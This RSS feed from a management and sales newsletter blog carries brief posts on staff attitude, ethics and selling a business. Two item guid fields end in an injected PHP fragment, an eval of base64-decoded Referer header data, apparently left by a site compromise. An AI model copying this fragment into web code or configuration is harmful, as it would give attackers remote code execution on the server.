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	<title>Interpersonal Business &#187; Manager</title>
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	<link>http://www.interpersonalbiz.com</link>
	<description>A Sales, Marketing and Management Letter by Keenan Longcor</description>
	<lastBuildDate>Wed, 01 Feb 2012 18:18:01 +0000</lastBuildDate>
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		<title>“THE IMPACT OF ONES ATTITUDE” Vol. LVIII</title>
		<link>http://www.interpersonalbiz.com/2010/02/%e2%80%9cthe-impact-of-ones-attitude%e2%80%9d-vol-lviii/</link>
		<comments>http://www.interpersonalbiz.com/2010/02/%e2%80%9cthe-impact-of-ones-attitude%e2%80%9d-vol-lviii/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 17:44:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Attitude]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Stars]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=82</guid>
		<description><![CDATA[Those who can be considered “our stars” will always be so, and be the light of our organization.  Effectively, the attitude of your staff is the barometer of your organization.  A foundation of positive thought will dominate the morale of your entire organization.  At all costs, surround your stars with worthy peers!  ]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;THE VOICE OF A MANAGER, AND ITS PERILS,&#8221; VOL. LIV</title>
		<link>http://www.interpersonalbiz.com/2009/12/the-voice-of-a-manager-and-its-perils-vol-liv/</link>
		<comments>http://www.interpersonalbiz.com/2009/12/the-voice-of-a-manager-and-its-perils-vol-liv/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 17:26:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[communicate]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[responsibility]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=63</guid>
		<description><![CDATA[Managers must be very sensitive to the need to speak the language of those they manage.  You can’t speak third year French to first year students!  It is our responsibility to adjust and adapt to the needs and level of skill for those we manage.  It begins with listening, probing questions, and effective follow up by all parties.  Find common ground and assist in helping others to find their dream.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“SELLING YOUR BUSINESS PART 2” Vol. LII</title>
		<link>http://www.interpersonalbiz.com/2009/11/%e2%80%9cselling-your-business-part-2%e2%80%9d-vol-lii/</link>
		<comments>http://www.interpersonalbiz.com/2009/11/%e2%80%9cselling-your-business-part-2%e2%80%9d-vol-lii/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 17:25:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Selling Business]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/2009/11/15/%e2%80%9cselling-your-business-part-2%e2%80%9d-vol-lii/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[Without question, the final announcement and its response can be the single most unexpected aspect of the sale.  In my case, the support and encouragement were apparent.  Have your “ducks in a row;” a well thought out and detailed announcement is essential.  A qualified leader and strong voice is needed for the continued success of the organization. ]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SELLING YOUR BUSINESS PART 1” Vol. LI</title>
		<link>http://www.interpersonalbiz.com/2009/11/selling-your-business-part-1%e2%80%9d-vol-li/</link>
		<comments>http://www.interpersonalbiz.com/2009/11/selling-your-business-part-1%e2%80%9d-vol-li/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 17:25:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Selling Business]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/2009/11/01/selling-your-business-part-1%e2%80%9d-vol-li/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[While this is an emotional transition for most owners, it comes down to developing the foundation for a confident conclusion.  Due diligence begins long before the deal is struck.  It begins with “the dance” between buyer and seller.  The seller’s primary goal is to find a qualified buyer, and a safe harbor for his company going forward.  The most difficult aspect is in the need for secrecy among all parties.  ]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“GIVING TOO MUCH OF ONES SELF” Vol. L</title>
		<link>http://www.interpersonalbiz.com/2009/10/%e2%80%9cgiving-too-much-of-ones-self%e2%80%9d-vol-l/</link>
		<comments>http://www.interpersonalbiz.com/2009/10/%e2%80%9cgiving-too-much-of-ones-self%e2%80%9d-vol-l/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 17:22:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Parents]]></category>
		<category><![CDATA[Rewards]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/%e2%80%9cgiving-too-much-of-ones-self%e2%80%9d-vol-l.html</guid>
		<description><![CDATA[In the role of manager, we are often also teachers and parents.  There is always the potential of giving too much.  What happens when we cannot live up to the standards we have set?  Mangers regularly sell their soul in order to meet these excessive demands.  Technology and multi tasking is not worth losing the critical balance in ones life.  Save yourself first, and your team will benefit.]]></description>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>“INITIATIVE AND AMBITION” Vol. XXXXIX</title>
		<link>http://www.interpersonalbiz.com/2009/10/%e2%80%9cinitiative-and-ambition%e2%80%9d-vol-xxxxix/</link>
		<comments>http://www.interpersonalbiz.com/2009/10/%e2%80%9cinitiative-and-ambition%e2%80%9d-vol-xxxxix/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 17:21:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Ambition]]></category>
		<category><![CDATA[Initiative]]></category>
		<category><![CDATA[Manager]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/%e2%80%9cinitiative-and-ambition%e2%80%9d-vol-xxxxix.html</guid>
		<description><![CDATA[The two greatest qualities in one business career are initiative and ambition.  Those with initiative understand the big picture, and are a step ahead of the needs of the organization as a whole.  Their indispensable value is always rewarded.  Positive ambition suggests sensitivity to ones surroundings and those of their peers.  Those who are ambitious are the ultimate over achievers.  It is time to address these issues in the hiring process.  On an ongoing basis we must continue to acknowledge, reward and promote those individuals with initiative and a positive sense of ambition.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/10/%e2%80%9cinitiative-and-ambition%e2%80%9d-vol-xxxxix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“ETHICS AND CYNACISM” Vol. XXXXVIII</title>
		<link>http://www.interpersonalbiz.com/2009/09/%e2%80%9cethics-and-cynacism%e2%80%9d-vol-xxxxviii/</link>
		<comments>http://www.interpersonalbiz.com/2009/09/%e2%80%9cethics-and-cynacism%e2%80%9d-vol-xxxxviii/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 17:20:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Ethics]]></category>
		<category><![CDATA[Idealism]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Trust]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/%e2%80%9cethics-and-cynacism%e2%80%9d-vol-xxxxviii.html</guid>
		<description><![CDATA[The baggage of cynicism comes with the lack of ability to trust anyone.  A sense of idealism and innocence is required in business.  Always give benefit of the doubt until proven otherwise.  The quality of our organization is always judged by the character of those with whom we associate.  Never compromise this axiom; hold the bar high.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/09/%e2%80%9cethics-and-cynacism%e2%80%9d-vol-xxxxviii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“MANAGERS WHO’VE SEEN ENOUGH” Vol. XXXXVII</title>
		<link>http://www.interpersonalbiz.com/2009/09/%e2%80%9cmanagers-who%e2%80%99ve-seen-enough%e2%80%9d-vol-xxxxvii/</link>
		<comments>http://www.interpersonalbiz.com/2009/09/%e2%80%9cmanagers-who%e2%80%99ve-seen-enough%e2%80%9d-vol-xxxxvii/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 17:19:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Experience]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Victories]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/sales-management-abundancy/%e2%80%9cmanagers-who%e2%80%99ve-seen-enough%e2%80%9d-vol-xxxxvii.html</guid>
		<description><![CDATA[Avoid becoming stale as a manager.  Continue to view your career through the fresh eyes of those you manage.  Enjoy reliving the first experiences and the victories of your staff.  We often judge by our own experience factor.  There is always more than one way – your way - to solve the problem.  There are many right approaches to a business decision.  ]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/09/%e2%80%9cmanagers-who%e2%80%99ve-seen-enough%e2%80%9d-vol-xxxxvii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SUBSTANCE VS. FORM  Vol. XXXXV</title>
		<link>http://www.interpersonalbiz.com/2009/08/substance-vs-form-vol-xxxxv/</link>
		<comments>http://www.interpersonalbiz.com/2009/08/substance-vs-form-vol-xxxxv/#comments</comments>
		<pubDate>Sat, 01 Aug 2009 16:57:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[Identity]]></category>
		<category><![CDATA[Integrity]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Substance]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/substance-vs-form-vol-xxxxv.html</guid>
		<description><![CDATA[How do we define ourselves?  Our only meaningful identity is in our integrity.  We often confuse “what we do” with “who we are.”   Society tends to teach us that our value is through our productivity in the work force.  If we rely on others to define us, we have no definition in their absence.  With our last breath, no one will truly care about our job description.  Only our spirit and integrity carry on.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/08/substance-vs-form-vol-xxxxv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“THE FEAR OF FAILURE” Vol. XXXXIV</title>
		<link>http://www.interpersonalbiz.com/2009/07/%e2%80%9cthe-fear-of-failure%e2%80%9d-vol-xxxxiv/</link>
		<comments>http://www.interpersonalbiz.com/2009/07/%e2%80%9cthe-fear-of-failure%e2%80%9d-vol-xxxxiv/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 16:56:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Courage]]></category>
		<category><![CDATA[Failure]]></category>
		<category><![CDATA[Fear]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Potential]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/%e2%80%9cthe-fear-of-failure%e2%80%9d-vol-xxxxiv.html</guid>
		<description><![CDATA[From personal experience, everyone needs to fail at least once in their life.  We need to test the limits only failure can provide.  Failure requires courage, resolve, and the ability to react to “why.”  There is no “why” in success.  There are those who exhibit a fear of success!  Until our limits are tested in both good and bad times, we will never realize our full potential.  Take pride in surviving failure, and bank on others who have failed as well!  ]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/07/%e2%80%9cthe-fear-of-failure%e2%80%9d-vol-xxxxiv/feed/</wfw:commentRss>
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